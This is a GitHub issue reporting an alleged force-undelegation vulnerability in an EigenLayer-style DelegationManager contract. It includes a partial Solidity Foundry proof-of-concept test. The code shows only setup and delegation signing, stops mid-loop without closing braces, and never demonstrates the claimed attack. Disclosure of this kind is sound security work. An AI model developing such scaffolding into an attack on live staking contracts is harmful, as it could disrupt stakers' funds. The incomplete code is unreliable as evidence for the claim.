Skip to content

Force Undelegation Attack in DelegationManager #1247

@Itunuolu

Description

@Itunuolu

This vulnerability allows a compromised delegationApprover to force-undelegate any staker from an operator, potentially causing mass undelegations and economic disruption.

`// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.27;

import "forge-std/Test.sol";
import "../../src/contracts/core/DelegationManager.sol";
import "../../src/contracts/permissions/PauserRegistry.sol";
import "../../src/contracts/permissions/PermissionController.sol";
import "../../src/contracts/interfaces/ISignatureUtilsMixinTypes.sol";

contract ForceUndelegationExploitTest is Test {
DelegationManager public delegationManager;
PauserRegistry public pauserRegistry;
PermissionController public permissionController;

address public owner = address(0x1);
address public operator = address(0x2);
address public delegationApprover = address(0x3);
address public staker1 = address(0x4);
address public staker2 = address(0x5);
address public staker3 = address(0x6);

uint256 private delegationApproverPrivateKey = 0xA11CE;

function setUp() public {
    // Set delegationApprover address to match the private key
    delegationApprover = vm.addr(delegationApproverPrivateKey);
    
    // Deploy contracts
    pauserRegistry = new PauserRegistry(owner);
    permissionController = new PermissionController(owner);
    
    // Deploy DelegationManager
    delegationManager = new DelegationManager(
        IStrategyManager(address(0)), // Mock addresses
        IEigenPodManager(address(0)),
        IAllocationManager(address(0)),
        pauserRegistry,
        permissionController,
        1 days,
        "v1.0.0"
    );
    
    // Initialize DelegationManager
    vm.prank(owner);
    delegationManager.initialize(owner, 0);
    
    // Register operator with delegationApprover
    vm.startPrank(operator);
    delegationManager.registerAsOperator(delegationApprover, 1 days, "metadata");
    vm.stopPrank();
    
    // Setup stakers to delegate to the operator
    for (uint i = 0; i < 3; i++) {
        address staker = address(uint160(0x4) + i);
        vm.deal(staker, 1 ether);
        
        // Create signature for delegation
        bytes32 salt = bytes32(uint256(i + 1));
        bytes32 digestHash = delegationManager.calculateDelegationApprovalDigestHash(staker, operator, salt);
        
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(delegationApproverPrivateKey, digestHash);
        bytes memory signature = abi.encodePacked(r, s, v);
        
        ISignatureUtilsMixinTypes.SignatureWithExpiry memory signatureWithExpiry = 
            ISignatureUtilsMixinTypes.SignatureWithExpiry({
                signature: signature,
                expiry: uint256(block.timestamp + 1 days)
            });

}`

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions